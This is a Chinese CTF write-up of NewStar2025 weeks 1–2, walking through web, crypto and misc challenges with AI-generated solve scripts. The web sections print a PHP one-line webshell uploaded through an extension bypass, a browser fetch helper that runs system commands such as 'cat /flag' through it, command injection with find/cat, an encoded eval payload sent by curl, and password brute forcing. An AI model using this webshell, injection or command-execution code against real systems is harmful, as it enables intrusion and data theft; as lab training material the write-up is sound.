NewStar2025 Week1 Week2 Writeup
by 🧑🚀 Madel1ne on 2025/10/15
Web
strange_login
题目描述:我当然知道1=1了!?


宇宙的中心是php
题目描述:所有光线都逃不出去......但我知道这不会难倒你的
用开发者工具发现有个s3kret.php,访问一下看看

进去后是一个表达式
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answe r,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}
curl -X POST -d "newstar2025=0x2f" http://8.147.132.32:13876/s3kret.php

multi-headach3
题目描述:什么叫机器人控制了我的头?
根据页面提示的信息,访问一下robots.txt,得到一个hidden.php

直接访问会无限跳转回index.php,用抓包查看即可

我真得控制你了
题目描述:小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
想按F12就被出题人控制住了,那我直接点浏览器的更多工具,打开开发人员工具,把F12的警告的id值删掉,就可以继续访问了。

启动按钮也不能按,那把它的id值也删掉,就能点击了

启动后页面提示弱密码,加载一个rockyou字典就跟你爆了!😠💢

登录成功后是一个php计算表达式
<?php
error_reporting(0);
function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}
if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];
if (is_array($input)) {
die("恭喜掌握新姿势");
}
if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}
if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}
$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}
if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>
找AI构建一下,?newstar=81%2A25

别笑,你也过不了第二关
题目描述:不是哥们,说白了你有啥实力啊,过关不是简简单单
抓包后可以查看源码,把源码发送给AI,AI给出了一段JavaScript代码,放在console里面运行
// 方法1:直接发送请求
fetch("/flag.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "score=1000000"
})
.then(res => res.text())
.then(data => {
console.log("服务器返回:");
console.log(data);
alert(data);
});
// 方法2:修改游戏变量后触发结束
score = 1000000;
currentLevel = 1;
gameEnded = false;
endLevel();

黑客小W的故事(1)
题目描述:NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
逆天题目,做了我两个小时😡👿😠😾💢
第一关
修改count值,要大于800

第二关
开始套娃
点击提示,让我用get方法给shipin传入mogubaozi,又根据前面说的直接提guding

让我用post,那把get改成post

用DELETE帮蘑菇先生的虫子去掉,提示我不能把guding删除,把请求包修改成刚才的POST方式


获得下一关的token

把原来的token值修改为刚刚获得的token值,按F5刷新进入下一关

第三关
根据提示,修改User-Agent的值,修改为页面提示的旋风斩(CycloneSlash)

改完9.9又问冲锋斩(DashSlash)在哪,加上去,提示我通过了,并且给了下一关的token值


修改token值拿到flag🥰

DD加速器
题目描述:D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器...
打开网页,提供题目描述,猜测是命令注入漏洞。用|隔开ip地址,使用cat index.php可以查看源码,发现最多输入28个字符。使用命令 find / -name flag*,找一下flag


找到flag的路径后,用*来替换掉路径后面的字符,用cat命令读取flag

真的是签到诶
题目描述:到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
题目源码:
<?php
highlight_file(__FILE__);
$cipher = $_POST['cipher'] ?? '';
function atbash($text) {
$result = '';
foreach (str_split($text) as $char) {
if (ctype_alpha($char)) {
$is_upper = ctype_upper($char);
$base = $is_upper ? ord('A') : ord('a');
$offset = ord(strtolower($char)) - ord('a');
$new_char = chr($base + (25 - $offset));
$result .= $new_char;
} else {
$result .= $char;
}
}
return $result;
}
if ($cipher) {
$cipher = base64_decode($cipher);
$encoded = atbash($cipher);
$encoded = str_replace(' ', '', $encoded);
$encoded = str_rot13($encoded);
@eval($encoded);
exit;
}
$question = "真的是签到吗?";
$answer = "真的很签到诶!";
$res = $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;
?>
疯狂拷打ChatGPT😡,最终拿到一个可以获得flag的命令✌️
curl -k -v --data-urlencode "cipher=eHZlenQoaGViaV9naXRfa3l6dGl6dHUoJy9oYm1nJykpOw==" "https://eci-2zea1sullses9hu1q9tw.cloudeci1.ichunqiu.com/"

搞点哦润吉吃吃橘
题目描述:Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题......
打开后是一个登录页面,账号和密码藏在F12里面

登录后是一个让我们计算token并提交来获得flag的页面,点击开始验证会出表达式,但是只给3秒钟计算和提交的时间,根据提示抓包可以看源码
把抓包获得的源码给AI,让AI写一个JavaScript脚本,自动开始—>自动计算—>自动提交。我这里拷打了GPT,GPT写好后的JavaScript代码放在console里,回车自动执行,可能要多试几次
(async function(){
try{
const startBtn = document.getElementById('startBtn');
const submitBtn = document.getElementById('submitBtn');
const tokenInput = document.getElementById('tokenInput');
if(!startBtn || !submitBtn || !tokenInput){
console.error("[auto] 未找到页面控件 (start/submit/input)。请确保在该页面运行。");
return;
}
// 点击开始
startBtn.click();
console.log("[auto] 点击开始验证...");
// 等表达式出现(最多等待 1 秒)
const waitForExpr = () => new Promise(resolve => {
const el = document.getElementById('expressionText');
if(el && el.innerText.trim()) return resolve(el);
const obs = new MutationObserver(()=> {
const e = document.getElementById('expressionText');
if(e && e.innerText.trim()){
obs.disconnect();
resolve(e);
}
});
obs.observe(document.body, {childList:true, subtree:true, characterData:true});
setTimeout(()=>{ try{ obs.disconnect(); }catch(e){}; resolve(document.getElementById('expressionText')); }, 1000);
});
const exprEl = await waitForExpr();
if(!exprEl || !exprEl.innerText.trim()){
console.error("[auto] 未检测到表达式,请检查页面或延长等待时间。");
return;
}
const expr = exprEl.innerText.trim();
console.log("[auto] 表达式:", expr);
// 解析 (num * num) ^ 0x...
const match = expr.match(/\(\s*(\d+)\s*\*\s*(\d+)\s*\)\s*\^\s*(0x[0-9a-fA-F]+)/);
if(!match){
console.error("[auto] 解析失败:表达式格式未匹配。");
return;
}
const left = BigInt(match[1]) * BigInt(match[2]);
const right = BigInt(match[3]);
const token = (left ^ right).toString();
// 填入并提交
tokenInput.value = token;
tokenInput.dispatchEvent(new Event('input',{bubbles:true}));
tokenInput.dispatchEvent(new Event('change',{bubbles:true}));
console.log("[auto] 计算 token =", token);
// 立刻提交
submitBtn.click();
console.log("[auto] 已点击提交按钮,等待结果...");
}catch(err){
console.error("[auto] 脚本出错:", err);
}
})();

白帽小K的故事(1)
题目描述:小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
点击首页的提示按钮,这个人(我不认识这个角色 😗:3 )提示我关注接口和文件上传

抓个包获取源码,给AI分析一下

典型的CTF隐藏提示说是

上传页只能上传mp3后缀的文件,先不急,我们新建一个txt文件,写入php一句话木马
<?php @eval($_REQUEST['cmd']); ?>
写好之后保存并把后缀修改成.mp3,抓包,修改一下后缀名.php,可以看到刚刚写的php一句话木马上传成功

问GPT要执行代码
// 在浏览器控制台粘贴后使用 exploit("system('id');") 或 exploit("system('cat /flag');")
async function exploit(cmd, file = 'kfc.php') {
const body = 'file=' + encodeURIComponent(file) + '&cmd=' + encodeURIComponent(cmd);
const res = await fetch('/v1/onload', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body
});
const text = await res.text();
try {
const json = JSON.parse(text);
console.log('JSON:', json);
} catch {
console.log('RAW:', text);
}
}
// 示例:查看身份
exploit(`system('id');`);
// 示例:读 flag(按实际路径尝试)
exploit(`system('cat /flag');`);
// 如果需要带路径,改第二个参数,如:'uploads/kfc.php' 或 'static/upload/kfc.php'

Crypto
Sagemath使用指哪?
题目描述:使用Sagemath运行程序以获得flag
根据题目描述,使用Sagemath工具解题,把代码复制进去即可,官网:<Sage Cell Server>

随机数之旅1
题目描述:真正的大中衔接belike:
GPT秒了
from Crypto.Util.number import long_to_bytes
# 已知的参数
a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [
184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808,
289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104,
511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751,
166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215,
147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815,
414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244
]
# 计算 m
h0, h1 = hint[0], hint[1]
m = (h1 - a * h0) % p
# 验证 m 是否正确
def verify(m, a, p, hint):
for i in range(len(hint) - 1):
if (a * hint[i] + m) % p != hint[i + 1]:
return False
return True
if verify(m, a, p, hint):
print("m is correct!")
flag = long_to_bytes(m).decode()
print("Flag:", flag)
else:
print("m is incorrect!")

初识RSA
题目描述:好像很标准,又好像不太标准(md5码怎么解呢?好像有在线工具)
根据题目描述,打开在线网站:<md5在线解密破解,md5解密加密>,解密附件脚本里KEY的值,得到crypto

AI秒了
from Crypto.Util.number import long_to_bytes, bytes_to_long
import math
# 已知值
key = b'crypto'
P = 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n = 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c = 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
e = 65537
# 步骤1: 恢复 p
key_long = bytes_to_long(key)
p = P ^ key_long
print(f"p = {p}")
# 步骤2: 分解出 q
p_cubed = pow(p, 3)
q_squared = n // p_cubed
q = int(math.isqrt(q_squared))
# 验证 q² 是否等于 n/p³
assert q * q == q_squared, "q 不是整数,分解失败"
print(f"q = {q}")
# 步骤3: 计算 φ(n)
phi_n = pow(p, 2) * (p - 1) * q * (q - 1)
print(f"φ(n) = {phi_n}")
# 步骤4: 计算私钥 d
d = pow(e, -1, phi_n)
print(f"d = {d}")
# 步骤5: 解密消息 m
m = pow(c, d, n)
print(f"m = {m}")
# 步骤6: 转换为 flag
flag = long_to_bytes(m)
print(f"flag = {flag}")

唯一表示
题目描述:不要把鸡蛋放在同一个篮子里
GPT秒了
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
from sympy import primerange
# 给定的余数列表
c = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]
# 生成素数列表(与原代码相同)
primes = list(primerange(2, 114514))
# 确定使用的素数数量(余数列表的长度)
num_primes = len(c)
used_primes = primes[:num_primes]
print(f"使用的素数数量: {num_primes}")
print(f"最大的素数: {used_primes[-1]}")
print(f"所有使用的素数: {used_primes}")
# 使用中国剩余定理重建原始数值
message_int, _ = crt(used_primes, c)
print(f"\n重建的数值: {message_int}")
# 转换为字节得到flag
flag = long_to_bytes(message_int)
print(f"解密得到的flag: {flag}")
# 验证是否以flag{开头
if flag.startswith(b'flag{'):
print("\n✅ 解密成功!")
else:
print("\n❌ 解密失败,可能需要检查")

小跳蛙
题目描述:青蛙会跳到哪里去呢?
用AI做,先把题目脚本发送给AI,再把服务器发送的5组(a,b)数据依次发送给AI,让AI给出答案,把答案填写到服务器上,连续5次后就能得到flag


置换
题目描述:我一看数学就头疼怎么办?(把解密出的文本用flag{}裹上提交)
AI秒了
cipher = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU."
# 把字母映射为 1..26
def letter_to_num(ch):
return ord(ch) - ord('A') + 1
def num_to_letter(n):
return chr(ord('A') + n - 1)
# 定义题目给的两个置换(按题目顺序:F = A ∘ B,其中
# B = (1 3 5 7)(2 4 6)(8 10 12 14)
# A = (1 2 3 4 5 6 7)(8 9 10 11 12 13 14)
# 意味着 F(x) = A(B(x)))
def apply_cycle_mapping(n, cycle):
# cycle: list of ints representing a cycle, e.g. [1,3,5,7]
# returns mapped value of n under this single cycle (other elements fixed)
if n in cycle:
idx = cycle.index(n)
return cycle[(idx + 1) % len(cycle)]
return n
def apply_permutation(n):
# apply B then A: F(n) = A(B(n))
# first B:
# cycles of B
B_cycles = [[1,3,5,7], [2,4,6], [8,10,12,14]]
x = n
for cyc in B_cycles:
x = apply_cycle_mapping(x, cyc)
# then A:
A_cycles = [[1,2,3,4,5,6,7], [8,9,10,11,12,13,14]]
for cyc in A_cycles:
x = apply_cycle_mapping(x, cyc)
return x
# 构造完整的置换字典 F: mapping from 1..26 to 1..26
F = {i: apply_permutation(i) for i in range(1,27)}
# 计算逆置换 F^{-1}
Finv = {v:k for k,v in F.items()}
# 解密函数:对字母应用逆置换,其他字符保持不变
def decrypt(text):
out = []
for ch in text:
if 'A' <= ch <= 'Z':
n = letter_to_num(ch)
m = Finv.get(n, n) # 若未映射则保持不变
out.append(num_to_letter(m))
elif 'a' <= ch <= 'z':
# 保持小写也能处理(先转大写再还原为小写)
n = letter_to_num(ch.upper())
m = Finv.get(n, n)
out.append(num_to_letter(m).lower())
else:
out.append(ch)
return ''.join(out)
plain = decrypt(cipher)
flag = f"flag{{{plain}}}"
print("cipher:")
print(cipher)
print("\nplaintext:")
print(plain)
print("\nflag:")
print(flag)

DLP_1
题目描述:sagemath中好像有现成的工具?
用claude4.5秒了

from Crypto.Util.number import long_to_bytes
p = [189869646048037, 255751809593851, 216690843046819]
g = [5, 3, 3]
h = [78860859934701, 89478248978180, 81479747246082]
parts = []
for i in range(3):
x = discrete_log(mod(h[i], p[i]), mod(g[i], p[i]))
part = long_to_bytes(int(x))
parts.append(part)
print(f"Part {i}: {part}")
flag_inner = b''.join(parts)
flag = b'flag{' + flag_inner + b'}'
print(f"\nFlag: {flag.decode()}")

FHE: 0 and 1
题目描述:千里之堤,溃于蚁穴
GPT秒了
# recover_robust.py
from math import gcd
from collections import Counter
import random
def parse_list(fname):
s = open(fname,'r',encoding='utf-8').read().strip()
if s.startswith('['): s = s[1:-1]
return [int(x.strip()) for x in s.split(',') if x.strip()]
pk = parse_list(r'C:\Users\lenovo\Desktop\pk.txt')
c = parse_list(r'C:\Users\lenovo\Desktop\c.txt')
# 尝试通过对某对 pk 穷举小偏移来找候选 p
R = 50 # 偏移穷举上界(你脚本偏移 <=10,这里给更安全的 50)
cands = Counter()
n = len(pk)
for _ in range(300): # 随机尝试若干对
i, j = random.randrange(n), random.randrange(n)
if i == j: continue
a, b = pk[i], pk[j]
for ra in range(0, R+1):
for rb in range(0, R+1):
g = gcd(a - ra, b - rb)
if g.bit_length() > 50: # 排除很小的因子
cands[g] += 1
# 取出现频率最高的候选
candidate, _ = cands.most_common(1)[0]
print("candidate p:", candidate)
# 验证:看所有 pk 对 candidate 的余数是否都很小(即真实偏移)
res = [x % candidate for x in pk]
print("min/max residue:", min(res), max(res))
# 用 candidate 恢复 bits -> flag
p = candidate
bits = [(ci % p) % 2 for ci in c]
chars = []
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) < 8: break
chars.append(chr(int(''.join(str(b) for b in byte), 2)))
print("flag:", ''.join(chars))

群论小测试
题目描述:扣”循环群“变成群论高手
解题方法和小跳蛙一样,把脚本和服务器发送的数据都复制给AI,让AI给出答案后填写进服务器里,连续5次后获得flag


RSA_revenge
题目描述:Fermat和Euler在week1被击败了,这次他们大大升级卷土重来,聪明的你掏出了骨传导耳机和爆破弹,你能打出漂亮的防守吗?(方法不止一种哦,聪明的你能想到吗?)
拷打了Calude4.5半个小时,最终给出可用解密脚本

"""
RSA Revenge 完整解密脚本
两部分加密的flag完整恢复
"""
from math import gcd, isqrt
# ==================== 数据部分 ====================
# Part 1: 高次幂模数 RSA
lst = [
8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239,
7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229,
12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317
]
n1 = 1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463
c1 = 1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949
# Part 2: 多素数 RSA + hints
n2 = 1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199
hint1 = 495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372
hint2 = 30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076
hint3 = 20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840
c2 = 548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968
e = 65537
# ==================== 工具函数 ====================
def long_to_bytes(n):
"""将大整数转换为字节串"""
if n == 0:
return b'\x00'
result = []
while n > 0:
result.append(n & 0xff)
n >>= 8
return bytes(reversed(result))
# ==================== Part 1: 解密前半段 ====================
print("=" * 70)
print(" " * 20 + "RSA Revenge 完整解密")
print("=" * 70)
print("\n[Part 1] 解密 Flag 前半段 (高次幂模数攻击)")
print("-" * 70)
# 步骤1: 计算每个素因子的幂次
print("\n[*] 计算素因子的幂次...")
exponents = []
for i, p in enumerate(lst):
t = 1
temp_n1 = n1
while temp_n1 % p == 0:
temp_n1 //= p
t += 1
exponents.append(t - 1)
print(f" 素数 {i+1}: {p.bit_length()} bits, 幂次 = {t - 1}")
# 步骤2: 计算欧拉函数 φ(n1) = ∏ p^(t-1) * (p-1)
print("\n[*] 计算欧拉函数 φ(n1)...")
phi_n1 = 1
for i, p in enumerate(lst):
t = exponents[i]
phi_n1 *= (p ** (t - 1)) * (p - 1)
print(f" φ(n1) bit_length: {phi_n1.bit_length()} bits")
# 步骤3: 计算私钥 d1
print("\n[*] 计算私钥 d1 = e^(-1) mod φ(n1)...")
d1 = pow(e, -1, phi_n1)
# 步骤4: 解密密文
print("\n[*] 解密密文...")
m1 = pow(c1, d1, n1)
flag_part1 = long_to_bytes(m1)
print(f"\n[+] Flag 前半段: {flag_part1.decode('utf-8', errors='ignore')}")
# ==================== Part 2: 解密后半段 ====================
print("\n" + "=" * 70)
print("[Part 2] 解密 Flag 后半段 (Hint攻击)")
print("-" * 70)
# 关键技巧:利用 hint 和密文的关系提取素因子
# hint2 = m^r2 mod n2
# c2 = m^e mod n2
# 计算 gcd(hint2^e - c2, n2) 可能提取出素因子!
print("\n[*] 利用 hint 攻击提取素因子...")
print(" 原理: gcd(hint2^e - c2, n2) 可以暴露素因子")
# 尝试不同的 GCD 组合
print("\n[*] 测试 gcd(hint1^e - c2, n2)...")
test1 = pow(hint1, e, n2) - c2
g1 = gcd(test1, n2)
print(f" 结果: {g1.bit_length()} bits")
print("\n[*] 测试 gcd(hint2^e - c2, n2)...")
test2 = pow(hint2, e, n2) - c2
g2 = gcd(test2, n2)
print(f" 结果: {g2.bit_length()} bits")
# 找到512位的素因子
r2 = None
if 500 < g2.bit_length() < 520:
r2 = g2
print(f" [+] 成功提取 r2! (512位素数)")
if not r2:
print("\n[!] GCD方法失败")
exit(1)
# 步骤2: 利用 hint3 = p2 + q2 恢复另外两个素数
print("\n[*] 利用 hint3 = p2 + q2 恢复剩余素因子...")
pq = n2 // r2
s = hint3
print(f" 已知: p2 * q2 = {pq}")
print(f" 已知: p2 + q2 = {s}")
# 解二次方程 x^2 - s*x + pq = 0
# 判别式 Δ = s^2 - 4*pq
# 解: x = (s ± √Δ) / 2
discriminant = s * s - 4 * pq
print(f"\n[*] 解二次方程 x^2 - {s}*x + {pq} = 0")
print(f" 判别式 Δ = {discriminant}")
if discriminant < 0:
print("\n[!] 判别式为负,无实数解")
exit(1)
sqrt_d = isqrt(discriminant)
if sqrt_d * sqrt_d != discriminant:
print("\n[!] 判别式不是完全平方数")
exit(1)
p2 = (s + sqrt_d) // 2
q2 = (s - sqrt_d) // 2
# 验证
if p2 * q2 != pq or p2 + q2 != s or p2 * q2 * r2 != n2:
print("\n[!] 验证失败")
exit(1)
print(f" [+] p2 = {p2}")
print(f" [+] q2 = {q2}")
print(f" [+] r2 = {r2}")
print(f" 验证: p2 * q2 * r2 = n2 ✓")
# 步骤3: 计算 φ(n2) 和私钥
print("\n[*] 计算 φ(n2) = (p2-1)(q2-1)(r2-1)...")
phi_n2 = (p2 - 1) * (q2 - 1) * (r2 - 1)
print("\n[*] 计算私钥 d2...")
d2 = pow(e, -1, phi_n2)
# 步骤4: 解密
print("\n[*] 解密密文...")
m2 = pow(c2, d2, n2)
flag_part2 = long_to_bytes(m2)
print(f"\n[+] Flag 后半段: {flag_part2.decode('utf-8', errors='ignore')}")
# ==================== 输出完整Flag ====================
print("\n" + "=" * 70)
print(" " * 25 + "解密成功!")
print("=" * 70)
full_flag = flag_part1 + flag_part2
print(f"\n完整 Flag:")
print(f" {full_flag.decode('utf-8', errors='ignore')}")
print("\n" + "=" * 70)
# 详细说明
print("\n攻击原理总结:")
print("-" * 70)
print("Part 1 - 高次幂模数:")
print(" • n1 = p1^t1 * p2^t2 * p3^t3 (已知所有素因子)")
print(" • φ(n1) = ∏ pi^(ti-1) * (pi-1)")
print(" • 标准RSA解密")
print()
print("Part 2 - Hint攻击:")
print(" • hint2 = m^r2 mod n2, c2 = m^e mod n2")
print(" • 关键: gcd(hint2^e - c2, n2) 提取素因子 r2")
print(" • 利用 hint3 = p2 + q2 解二次方程恢复 p2, q2")
print(" • 解密得到完整flag")
print("=" * 70)

Misc
Sign in
签到,题目里直接给出了flag

MISC城邦-压缩术
题目描述:欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语"abcd...xyz0123...789")
打开压缩包,有两个加密文件

根据题目描述,爆破6位数的密码。用ARCHPR爆了14分钟,爆出密码:ns2025

tips.txt提示伪加密

用010修改一下


打开flag.zip发现可以进行明文攻击,把key.txt打包成压缩包,用ARCHPR进行明文攻击


获得密码:d00rkey,用这个密码解压就可以获得flag了


我不要革命失败
题目描述:小吉的机械革命笔记本又双叒叕蓝屏了!这次他不想再坐以待毙!他发来了他在C:\Windows\Minidump\的蓝屏文件,请你帮忙分析一下,让机革摆脱舍友的歧视。听说大伙看蓝屏日志都用的是WinDbg,操作也很简单,好像要敲什么!analyze -v?
flag格式:flag{崩溃类型(即蓝屏显示的终止代码)_故障进程}
根据题目描述,去下载微软官方WinDbg:<安装 WinDbg - Windows drivers | Microsoft Learn>
我是在powershell下载的,命令:winget install Microsoft.WinDbg
下载完毕后双击附件打开,直接提示!analyze -v,点击一下

等结束后把结果丢给AI分析一下

EZ_fence
题目描述:rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。
用010查看图片,发现底部藏了一个压缩包,手动复制压缩包的16进制,把压缩包导出来,发现要密码

用010修改jpg图片高度,发现有一段数据,看起来像自定义的base64表


上面密文的=位置不太对劲,根据题目描述的 需要4颗钉子…,猜测是栅栏密码,枚举一下获得:rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz=

写个脚本解密一下,获得:New5tar_zjuatrojee1mage5eed77yo#
import base64
custom = "8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_"
std = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = "rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz="
translated = s.translate(str.maketrans(custom, std))
print(base64.b64decode(translated).decode())

用刚才获得的密码解压就能得到flag

OSINT-天空belong
题目描述:OSINT是指通过公开可获取的信息源收集、分析和利用数据从互联网中提取有价值的信息,并最终将其转化为可操作的情报。请挑战者们通过OSINT技术,获取你想要的信息吧!flag格式:flag{航班号_照片拍摄时所在省份的省会城市_拍摄设备的制造商},制造商为英文(首字母大写)例:flag{AB1234_北京市_Huawei}
图片是在飞机上拍摄的,在这里可以获得的信息有:机翼上的B-7198和紫色翼尖,右键图片查看属性,可以获得的信息有:拍摄时间2025/8/17 15:03和设备制造商Xiaomi


来到 flightradar24 官网:https://www.flightradar24.com/,查询一下机翼上的B-7198编号,从流览图上可以看到翼尖也是紫色的

往下滑动查看历史记录,发现一条最符合拍摄时间的航班,点击右边的play看看轨迹

